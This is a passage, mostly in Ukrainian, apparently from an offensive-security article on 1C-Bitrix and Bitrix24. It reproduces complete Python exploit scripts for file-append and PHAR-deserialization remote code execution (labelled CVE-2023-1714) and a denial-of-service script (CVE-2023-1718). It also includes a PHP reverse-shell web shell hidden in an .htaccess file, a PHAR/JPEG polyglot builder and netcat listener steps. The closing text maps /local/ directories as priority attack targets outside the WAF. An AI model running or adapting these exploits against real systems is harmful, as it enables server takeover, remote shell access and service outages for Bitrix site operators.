data=nested_to_urlencoded([{
"IMAGES": [
f"http://{LHOST}:{LPORT1}/.htaccess"
] * N_REPS + [f"http://{LHOST}:{LPORT1}/delay"],
"NAME": "Product 1"
}], prefix="items"
),
headers={"X-Bitrix-Csrf-Token": sessid},
)
print("[+] Waiting done")
def test_exists(dir_name):
resp = requests.head(f"{HOST}/upload/tmp/{dir_name}/.htaccess", proxies=PROXY)
return resp.status_code == 200
def bruteforce():
print("[+] Bruteforcing .htaccess location")
chars = string.digits + string.ascii_lowercase
for dir_name in itertools.product(chars, repeat=3):
dir_name = "".join(dir_name)
if test_exists(dir_name):
print(f"[+] Found .htaccess: {HOST}/upload/tmp/{dir_name}/.htaccess")
return dir_name
def reverse_shell(dir_name):
requests.get(f"{HOST}/upload/tmp/{dir_name}/.htaccess?ip={LHOST}&port={LPORT2}", proxies=PROXY)
if __name__ == "__main__":
s = requests.Session()
s.proxies = PROXY
sessid = login(s, USERNAME, PASSWORD)
start_server()
threading.Thread(target=instagram_import, args=(s, sessid)).start()
dir_name = bruteforce()
threading.Thread(target=reverse_shell, args=(dir_name,)).start()
print("[+] Waiting for reverse shell connection")
subprocess.run(["nc", "-nvlp", str(LPORT2)])
.htaccess файл:
<Files ~ "^\.ht">
Require all granted
Order allow,deny
Allow from all
SetHandler application/x-httpd-php
</Files>
# <?php /* Sleep to allow nc listener to start */sleep(2);$sock=fsockopen($_GET["ip"],intval($_GET["port"]));$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>
Цей файл повинен знаходитися в тому ж каталозі, що і код використання на Python3. При запуску коду експлойту буде створений HTTP-сервер на LPORT1, обслуговуючий шкідливий файл .htaccess, а також запущений приймач netcat на LPORT2 для зворотного шелла.
Ця вразливість може бути використана, якщо у зловмисника є доступ до функцій CRM і дозвіл на створення та експорт контактів. Такий рівень доступу може бути наданий, якщо користувач входить в групу керування.
# Bitrix24 Insecure File Append RCE (CVE-2023-1714)
# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
#!/usr/bin/env python3
import base64
import requests
import re
import os
import typing
import subprocess
import threading
HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"
# ROOT_PATH is not necessary, it is possible to use relative paths to exploit
ROOT_PATH = "/var/www/html/"
TARGET_FILE = "include/company_name.php"
LPORT = 9001
LHOST = "192.168.86.43"
PROXY = {"http": "http://localhost:8080"}
CODE_TO_INJECT = f"""
// Restore file for future demos
$file_data = file_get_contents("{ROOT_PATH}{TARGET_FILE}");
$original = mb_substr($file_data, 0, mb_strpos($file_data, '"ID";"Photo"'));
file_put_contents("{ROOT_PATH}{TARGET_FILE}", $original);
/* Sleep to allow nc listener to start */
sleep(2);
$sock=fsockopen($_GET["ip"], intval($_GET["port"]));
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
"""
def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
out = dict()
if type(val) is dict:
for k, v in val.items():
child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
for key, val in child.items():
out[prefix + key] = val
elif type(val) in [list, tuple]:
for i, item in enumerate(val):
child = nested_to_urlencoded(item, prefix=f"[{i}]")
for key, val in child.items():
out[prefix + key] = val
else:
out[prefix] = val
return out
def dict_to_str(d):
return "&".join(f"{k}={v}" for k, v in d.items())
def check_creds(cookie, sessid):
return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
"X-Bitrix-Csrf-Token": sessid
}, cookies={
"PHPSESSID": cookie,
}, proxies=PROXY).text == "OK"
def login(session, username, password):
if os.path.isfile("./cached-creds.txt"):
cookie, sessid = open("./cached-creds.txt").read().split(":")
if check_creds(cookie, sessid):
session.cookies.set("PHPSESSID", cookie)
print("[+] Using cached credentials")
return sessid
else:
print("[!] Cached credentials are invalid")
session.get(HOST + "/")
resp = session.post(
HOST + "/?login=yes",
data={
"AUTH_FORM": "Y",
"TYPE": "AUTH",
"backurl": "/",
"USER_LOGIN": username,
"USER_PASSWORD": password,
},
)
if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
print(f"[!] Invalid credentials")
exit()
sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
1
)
print(f"[+] Logged in as {username}")
with open("./cached-creds.txt", "w") as f:
f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
return sessid
def set_progress_data(session, sessid):
print(f"[+] Setting fake user options")
session.cookies.set("BITRIX_SM_LAST_SETTINGS",
dict_to_str(nested_to_urlencoded(
{
"p": [{
"c": "crm",
"v": {
"filePath": f"{ROOT_PATH}{TARGET_FILE}",
"processToken": "b",
},
"n": "crm_cloud_export_CONTACT"
}],
"sessid": sessid
}
)))
session.get(
HOST + "/bitrix/tools/public_session.php",
headers={"X-Bitrix-Csrf-Token": sessid},
)
def trigger_file_append(session, sessid):
print(f"[+] Appending payload to target file")
session.post(
HOST + "/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export",
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Bitrix-Csrf-Token": sessid
},
data={
"ENTITY_TYPE": "CONTACT",
"EXPORT_TYPE": "csv",
"COMPONENT_NAME": "bitrix:crm.contact.list",
"PROCESS_TOKEN": "b",
"REQUISITE_MULTILINE": "Y",
"EXPORT_ALL_FIELDS": "Y",
"INITIAL_OPTIONS[REQUISITE_MULTILINE]": "Y",
"INITIAL_OPTIONS[EXPORT_ALL_FIELDS]": "Y"
}
)
def delete_contact(session: requests.Session, sessid, contactId):
print(f"[+] Deleting contact {contactId}")
res = session.post(
HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.prepareDeletion",
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Bitrix-Csrf-Token": sessid
},
data=f"params[gridId]=CRM_CONTACT_LIST_V12¶ms[entityTypeId]=3¶ms[extras][CATEGORY_ID]=0¶ms[entityIds][0]={contactId}",
)
hash = res.json()["data"]["hash"]
session.post(
HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.processDeletion",
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Bitrix-Csrf-Token": sessid
},
data=f"params[hash]={hash}",
)
print(f"[+] Contact {contactId} deleted")
def create_contact(session: requests.Session, sessid):
payload = f"<?php eval(base64_decode('{base64.b64encode(CODE_TO_INJECT.encode()).decode()}')) ?>"
res = session.post(
HOST + "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid=" + sessid,
headers={
"Content-Type": "application/x-www-form-urlencoded",
},
data={
"PARAMS[NAME_TEMPLATE]": "#NAME# #LAST_NAME#",
"PARAMS[CATEGORY_ID]": "0",
"EDITOR_CONFIG_ID": "contact_details",
"HONORIFIC": "",
"LAST_NAME": "",
"NAME": "Definitely not Attacker",
"SECOND_NAME": "",
"BIRTHDATE": "",
"POST": "",
"PHONE[n0][VALUE]": "",
"PHONE[n0][VALUE_TYPE]": "WORK",
"EMAIL[n0][VALUE]": "",
"EMAIL[n0][VALUE_TYPE]": "WORK",
"WEB[n0][VALUE]": "",
"WEB[n0][VALUE_TYPE]": "WORK",
"IM[n0][VALUE]": "",
"IM[n0][VALUE_TYPE]": "FACEBOOK",
"CLIENT_DATA": "{\"COMPANY_DATA\":[]}",
"TYPE_ID": "CLIENT",
"SOURCE_ID": "CALL",
"SOURCE_DESCRIPTION": payload,
"OPENED": "Y",
"EXPORT": "Y",
"ASSIGNED_BY_ID": "3",
"COMMENTS": "",
"contact_0_details_editor_comments_html_editor": "",
"ACTION": "SAVE",
"ACTION_ENTITY_ID": "",
"ACTION_ENTITY_TYPE": "C",
"ENABLE_REQUIRED_USER_FIELD_CHECK": "Y"
}
)
contactId = re.compile("'ENTITY_ID':'([0-9]+)'").findall(res.text)[0]
print(f"[+] Created contact {contactId}")
return int(contactId)
def reverse_shell():
requests.get(f"{HOST}/{TARGET_FILE}?ip={LHOST}&port={LPORT}")
if __name__ == "__main__":
s = requests.Session()
s.proxies = PROXY
sessid = login(s, USERNAME, PASSWORD)
contactId = create_contact(s, sessid)
try:
set_progress_data(s, sessid)
trigger_file_append(s, sessid)
finally:
delete_contact(s, sessid, contactId)
threading.Thread(target=reverse_shell).start()
print("[+] Waiting for reverse shell connection")
subprocess.run(["nc", "-nvlp", str(LPORT)])
Ця вразливість може бути використана, якщо у зловмисника є доступ до функцій CRM і дозвіл на редагування контактів. Такий рівень доступу може бути наданий, якщо користувач входить в групу керування.
# Bitrix24 PHAR Deserialization RCE (CVE-2023-1714)
# Via: https://TARGET_HOST/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
#!/usr/bin/env python3
import random
import json
import requests
import re
import os
import typing
import subprocess
import threading
HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "crm_only"
PASSWORD = "crm_only"
ROOT_PATH = "/var/www/html/"
PORT = 9001
LHOST = "192.168.86.125"
PROXY = {"http": "http://localhost:8080"}
def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
out = dict()
if type(val) is dict:
for k, v in val.items():
child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
for key, val in child.items():
out[prefix + key] = val
elif type(val) in [list, tuple]:
for i, item in enumerate(val):
child = nested_to_urlencoded(item, prefix=f"[{i}]")
for key, val in child.items():
out[prefix + key] = val
else:
out[prefix] = val
return out
def dict_to_str(d):
return "&".join(f"{k}={v}" for k, v in d.items())
def check_creds(cookie, sessid):
return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
"X-Bitrix-Csrf-Token": sessid
}, cookies={
"PHPSESSID": cookie,
}, proxies=PROXY).text == "OK"
def login(session, username, password):
if os.path.isfile("./cached-creds.txt"):
cookie, sessid = open("./cached-creds.txt").read().split(":")
if check_creds(cookie, sessid):
session.cookies.set("PHPSESSID", cookie)
print("[+] Using cached credentials")
return sessid
else:
print("[!] Cached credentials are invalid")
session.get(HOST + "/")
resp = session.post(
HOST + "/?login=yes",
data={
"AUTH_FORM": "Y",
"TYPE": "AUTH",
"backurl": "/",
"USER_LOGIN": username,
"USER_PASSWORD": password,
},
)
if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
print(f"[!] Invalid credentials")
exit()
sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
1
)
print(f"[+] Logged in as {username}")
with open("./cached-creds.txt", "w") as f:
f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
return sessid
def upload_web_shell(s, sessid):
data = f"""
<?php
sleep(2);
$sock=fsockopen("{LHOST}", {PORT});
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);"""
return upload(s, sessid, data)
def upload(session, sessid, data):
CID = random.randint(0, pow(10, 5))
resp = session.post(
HOST + "/desktop_app/file.ajax.php?action=uploadfile",
headers={
"X-Bitrix-Csrf-Token": sessid,
"X-Bitrix-Site-Id": SITE_ID,
},
data={
"bxu_info[mode]": "upload",
"bxu_info[CID]": str(CID),
"bxu_info[filesCount]": "1",
"bxu_info[packageIndex]": f"pIndex{CID}",
"bxu_info[NAME]": f"file{CID}",
"bxu_files[0][name]": f"file{CID}",
},
files={
"bxu_files[0][default]": (
"file",
data,
"text/plain",
)
},
proxies=PROXY,
).json()
return resp["files"][0]["file"]["files"]["default"]["tmp_name"]
def make_phar(path):
os.system("rm ./test.phar")
print(f"[+] Creating PHAR")
os.system(f"php --define phar.readonly=0 create_phar.php {path}")
return open("./test.phar", 'rb').read()
def set_progress_data(session, sessid, path):
print(f"[+] Setting fake user options")
session.cookies.set("BITRIX_SM_LAST_SETTINGS",
dict_to_str(nested_to_urlencoded([{
"c": "crm",
"v": {
"FILE_PATH": f"phar://{path}/a",
"PROCESS_TOKEN": "b",
},
"n": "crm_stexport_contact"
}], "p"
) | {"sessid": sessid}))
session.get(
HOST + "/bitrix/tools/public_session.php",
headers={"X-Bitrix-Csrf-Token": sessid},
)
def get_upload_params(session, sessid):
resp = session.post(
HOST
+ "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid="
+ sessid,
data={
"FIELD_NAME": "PHOTO",
"ACTION": "RENDER_IMAGE_INPUT",
"ACTION_ENTITY_ID": "0",
},
)
controlUid = re.search(
re.compile("'controlUid':'([a-f0-9]{32})'"), resp.text
).group(1)
controlSign = re.search(
re.compile("'controlSign':'([a-f0-9]{64})'"), resp.text
).group(1)
urlUpload = re.search(re.compile("'urlUpload':'(.*)'"), resp.text).group(1)
user_id = re.search(re.compile("'USER_ID':'([0-9]+)'"), resp.text).group(1)
return controlUid, controlSign, urlUpload, user_id
def upload_file(session, sessid, controlUid, controlSign, urlUpload, user_id, data):
resp = session.post(
HOST + urlUpload,
headers={
"X-Bitrix-Csrf-Token": sessid,
"X-Bitrix-Site-Id": SITE_ID,
},
data={
"bxu_files[file167][name]": "bitrix-out.jpg",
"bxu_files[file167][type]": "image/jpg",
"bxu_files[file167][size]": "10",
"AJAX_POST": "Y",
"USER_ID": user_id,
"sessid": sessid,
"SITE_ID": SITE_ID,
"bxu_info[controlId]": "bitrixUploader",
"bxu_info[CID]": controlUid,
"cid": controlUid,
"moduleId": "crm",
"allowUpload": "I",
"uploadMaxFilesize": "3145728",
"bxu_info[uploadInputName]": "bxu_files",
"bxu_info[version]": "1",
"bxu_info[mode]": "upload",
"bxu_info[filesCount]": "1",
"bxu_info[packageIndex]": "pIndex1",
"mfi_mode": "upload",
"mfi_sign": controlSign,
},
files={
"bxu_files[file167][default]": (
"bitrix-out.jpg",
data,
"image/jpg",
)
},
proxies=PROXY,
)
full_path = list(json.loads(resp.text)["files"].values())[0]["file"]["thumb_src"]
return re.search(
re.compile(
"/upload/resize_cache/crm/([a-f0-9]{3}/[a-z0-9]{32})/90_90_2/bitrix-out\\.jpg"
),
full_path,
).group(1)
def trigger_file_exists(session, sessid):
session.post(
HOST + "/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php?sessid=" + sessid,
headers={"Content-Type": "application/x-www-form-urlencoded"},
data=nested_to_urlencoded({
"SITE_ID": SITE_ID,
"ENTITY_TYPE_NAME": "CONTACT",
"EXPORT_TYPE": "csv",
"PROCESS_TOKEN": "b",
}, "PARAMS") | {"ACTION": "STEXPORT"}
)
if __name__ == "__main__":
s = requests.Session()
s.proxies = PROXY
sessid = login(s, USERNAME, PASSWORD)
webshell_path = upload_web_shell(s, sessid)
ROOT_PATH = webshell_path[:webshell_path.index("upload")]
print(f"[+] Webshell uploaded to '{webshell_path}'")
controlUid, controlSign, urlUpload, user_id = get_upload_params(s, sessid)
data = make_phar(webshell_path)
path = upload_file(s, sessid, controlUid, controlSign, urlUpload, user_id, data)
path = f"{ROOT_PATH}upload/crm/{path}/bitrix-out.jpg"
print(f"[+] PHAR uploaded to '{path}'")
set_progress_data(s, sessid, path)
print(f"[+] Triggering file_exists phar deserialization")
threading.Thread(target=trigger_file_exists, args=(s, sessid)).start()
print("[+] Waiting for reverse shell connection")
subprocess.run(["nc", "-nvlp", str(PORT)])
Наступні файли PHP також повинні знаходитися в цій же директорії:
create_phar.php:
<?php
namespace Bitrix\Bizproc\Activity;
use Bitrix\Bizproc\FieldType;
use Bitrix\Main\ArgumentException;
include("./CCloudsDebug.php");
use CCloudsDebug;
class PropertiesDialog
{
public $activityFile;
public $dialogFileName = 'properties_dialog.php';
public $map;
public $mapCallback;
public $documentType;
public $activityName;
public $workflowTemplate;
public $workflowParameters;
public $workflowVariables;
public $currentValues;
public $formName;
public $siteId;
public $renderer;
public $context;
public $runtimeData = array();
public function __toString()
{
if ($this->renderer !== null)
{
return call_user_func($this->renderer, $this);
}
$runtime = \CBPRuntime::getRuntime();
$runtime->startRuntime();
return (string)$runtime->executeResourceFile(
$this->activityFile,
$this->dialogFileName,
array_merge(array(
'dialog' => $this,
//compatible parameters
'arCurrentValues' => $this->getCurrentValues($this->dialogFileName === 'properties_dialog.php'),
'formName' => $this->getFormName()
), $this->getRuntimeData()
)
);
}
}
$cloudDebug = new CCloudsDebug();
$dialog = new PropertiesDialog();
$dialog->dialogFileName = "stexport.php";
$dialog->runtimeData = ["path" => [$argv[1], ""]];
$cloudDebug->head = $dialog;
function generate_base_phar($o){
global $tempname;
@unlink($tempname);
$phar = new \Phar($tempname);
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->stopBuffering();
$basecontent = file_get_contents($tempname);
@unlink($tempname);
return $basecontent;
}
function generate_polyglot($phar, $jpeg){
$phar = substr($phar, 6); // remove <?php dosent work with prefix
$len = strlen($phar) + 2; // fixed
$new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
$contents = substr($new, 0, 148) . " " . substr($new, 156);
// calc tar checksum
$chksum = 0;
for ($i=0; $i<512; $i++){
$chksum += ord(substr($contents, $i, 1));
}
// embed checksum
$oct = sprintf("%07o", $chksum);
$contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
return $contents;
}
// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('bitrix.jpg');
$outfile = 'test.phar';
$payload = $cloudDebug;
// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload), $jpeg));
CCloudsDebug.php:
<?php
class CCloudsDebug
{
public $head = '';
public $id = '';
}
Цей Python-скрипт призначений для експлуатації вразливості безпеки в Бітрікс24, приводящей до атаки типу «відказ в обслуговуванні» (DoS). Виразність, ідентифікована як CVE-2023-1718, дозволяє зловмиснику зруйнувати нормальну роботу екземпляра Бітрікс24.
pip install aiohttp
python3 bitrix24dos.py --host <HOST> --site_id <SITE_ID Value> --num_requests <Number of Requests>
#!/usr/bin/env python3
import random
import asyncio
import aiohttp
import re
import argparse
async def preauth(session, host):
try:
async with session.get(host, ssl=False) as response:
data = await response.text()
return re.search(r"'bitrix_sessid':'([a-f0-9]{32})'", data).group(1)
except aiohttp.ClientError as e:
print(f"Failed to access the website: {e}")
return None
async def DoS(session, sessid, host, site_id, num_requests):
tasks = []
for _ in range(num_requests):
CID = random.randint(0, pow(10, 5))
url = f"{host}/desktop_app/file.ajax.php?action=uploadfile"
data = {
"bxu_info[mode]": "upload",
"bxu_info[CID]": str(CID),
"bxu_info[filesCount]": "1",
"bxu_info[packageIndex]": f"pIndex{CID}",
"bxu_info[NAME]": f"file{CID}",
"bxu_files[0][name]": f"file{CID}",
"bxu_files[0][files][default][tmp_url]": "a:php://stdout",
"bxu_files[0][files][default][tmp_name]": f"file{CID}",
}
headers = {
"X-Bitrix-Csrf-Token": sessid,
"X-Bitrix-Site-Id": site_id,
}
task = asyncio.create_task(send_request(session, url, data, headers))
tasks.append(task)
await asyncio.gather(*tasks)
async def send_request(session, url, data, headers):
async with session.post(url, data=data, headers=headers, ssl=False) as response:
pass
async def main(host, site_id, num_requests):
async with aiohttp.ClientSession() as session:
sessid = await preauth(session, host)
if sessid is not None:
await DoS(session, sessid, host, site_id, num_requests)
else:
print("Aborting due to website access failure.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Bitrix24 Improper File Stream Access DoS")
parser.add_argument("--host", required=True, help="Target host URL")
parser.add_argument("--site_id", required=True, help="SITE_ID value")
parser.add_argument("--num_requests", type=int, default=1000, help="Number of requests to send")
args = parser.parse_args()
asyncio.run(main(args.host, args.site_id, args.num_requests))
Детальніше тут
У екосистемі Бітрікса накопичилася ціла колекція підозрілих модулів. Багато з них створюються поспіхом, без нормального аудиту та з мінімальним контролем якості, після чого спокійно потрапляють у продакшн. Пояснити кількість помилок у їхньому коді непросто: навіть поверхнева перевірка 30 випадково взятих модулів з офіційного маркетплейса показала, що 24 з них містять уразливості. І є всі підстави припускати, що проблемні можуть бути й решта.
Відносно нещодавно створили окремий реєстр уязвимостей в таких модулях. Там розуміється не все, навіть, можно сказати, що там майже нічого немає, адже ніхто ці модулі не тестує, але це хотіти що-то.
Причому це тільки публічні модулі, які на самому деле представляють собою меньшинство. Частіше всього зустрічаються так звані “самописи”. Вони з’являються, коли компанія не хоче платити величезні гроші за модуль, додаючи одну кнопку, і вирішує написати його самостійно, ігноруючи всі стандарти безпечної розробки.
Такі самописи зустрічаються практично на будь-якому сайті з бітриксом. Ведь із-за вартості, базову задачу або бізнес-процес в бітриксе компанії користувачеві намагаються вирішити самостійно, заставляючи непонятно кого написати .php костили
Усі модулі за умовчанням розміщені в директорії /local/
Тут, думаю, варто розповісти детальніше.
Щоб зробити життя розробникам проектів зручнішим, в ядре D7 з версією головного модуля 14.0.1 основні файли користувальницьких проектів винесено з папки /bitrix/ в папку /local/ . Що дозволяє ізолювати змінювані файли проекту від папки продукту.
При чому /local/* не потрапляє під захист вбудованого в Бітрикс WAF , а значить фільтрація там вже не врятується. Відповідно всі кастомні модулі у нас тепер мало того, що диряві, так ще й беззахисні.
Давайте розберем основні директорії обробляються в /локальний/
діяльність — дії БП
У цій директорії зберігаються користувацькі дії для бізнес-процесів, які можуть бути використані для автоматизації різних процесів на сайті. Це може бути створення задачі, відправка увідомлень, зміна статусів і прочее.
Приклад:
/local/activities/SendEmail.php
компоненти
Тут зберігаються як персональні компоненти, так і перевизначені стандартні компоненти 1С-Бітрікс. Компоненти — це функціональні блоки, які можна багатократно використовувати на сайті, такі як форми, списки, галереї тощо. д.
Приклад:
/local/components/my_component/detail.php
gadgets — гаджеты рабочего стола
Гаджети — це невеликі елементи інтерфейсу, які можна додати в адміністративну панель для швидкого доступу до даних або дій. Наприклад, показати статистику, новини або повідомлення про події.
Приклад:
/local/gadgets/dashboardWidget.php
модулі
Ось саме сюда радить бути в першу чергу
Це місце для зберігання кстомних модулів, які можуть додати нову функціональність в систему. Наприклад, модулі для інтеграції із зовнішніми сервісами або для виконання специфічних завдань.
Приклад:
/local/modules/my_module/include.php
У цьому файлі буде зберігатися логіка роботи модуля, наприклад, підключення API.
php_interface — файли init.php і dbconn.php , папка user_lang
Тут містяться всі скрипти, які відповідають для налаштування та кастомізації роботи Бітрікс. У цій папці зазвичай розміщуються:
init.php — файл ініціалізації, де підключаються всі необхідні компоненти, класи та модулі.
events.php — розробники подій, які додають власну логіку в стандартні процеси.
constants.php — файл із константами, які базуються на проекті.
Приклад структури:
/local/php_interface/
init.php
events.php
constants.php
classes/
User.php
шаблони — шаблони сайтів, шаблони компонентів, шаблони сторінок
Топ 2 місце куда надо бити, після модулей. Усі XSS-ки ймовірно будуть торчати саме тут
Ця папка містить усі кастомні шаблони для вашого сайту. Тут можна зберігати як основні шаблони сайту, так і шаблони окремих компонентів.
Приклад:
/local/templates/my_template/header.php
Файли з включеними областями, які включені в шаблон і зберігаються в папці з шаблоном сайту ( /local/templates/імя_шаблона/includes/ ).
blocks — блоки Сайтов24
Для зручності та узгодженості стилю в проекті використовуються блоки, як у підході БЭМ. Застосовуються в модульних елементах інтерфейсу.
Приклад:
/local/blocks/button/button.css /local/blocks/form/form.js
routes — файли з конфігураціями маршрутів маршрутизації
Якщо в проекті використовується маршрутизація (наприклад, для REST API або кастомних маршрутів для сторінок), то всі налаштування маршрутів та їх обробників розміщуються в цій директорії.
Приклад:
/local/routes/apiRoutes.php
js — скрипти для власних рішень
Усі скрипти та бібліотеки для фронтенду також варто зберігати в цій папці. Вона буде зручною для організації кастомних рішень, таких як інтерактивні елементи на сторінках.
Приклад:
/local/js/jquery.min.js /local/js/myCustomScript.js
/local/images — Зображення та файли для шаблонів
Усі зображення для шаблонів, шрифти або прочі статичні файли, які не мають відношення до функціональності, зберігаються в директорії /local/images.
Приклад:
/local/images/logo.png
З версією 24.100.0 головного модуля в папці /local/ можуть бути розміщені файли параметрів параметрів ядра .settings.phpі .settings_extra.php. При обробці папки пріоритет завжди в папці /local/ перед /bitrix/ . Це означає, що якщо в /local/templates/ і /bitrix/templates/ будуть знаходитися шаблони сайту з одинаковою назвою, то підключається шаблон з /local/ .
Друга частина зосереджена на найнебезпечніших проблемах Bitrix: критичних RCE-уразливостях, обходах WAF, слабких модулях і ризиках у Bitrix24. Ці розділи показують, як окремі помилки в логіці імпорту, шаблонах або сервісних файлах можуть призвести до повного захоплення системи.
Матеріал допомагає зрозуміти, де саме з’являються реальні точки компрометації, як працюють відомі CVE та чому автооновлення й модулі /local/ часто стають головними джерелами проблем.
У підсумку — це практичний огляд того, як виглядає реальний злам Bitrix і які місця в першу чергу потребують глибокої перевірки.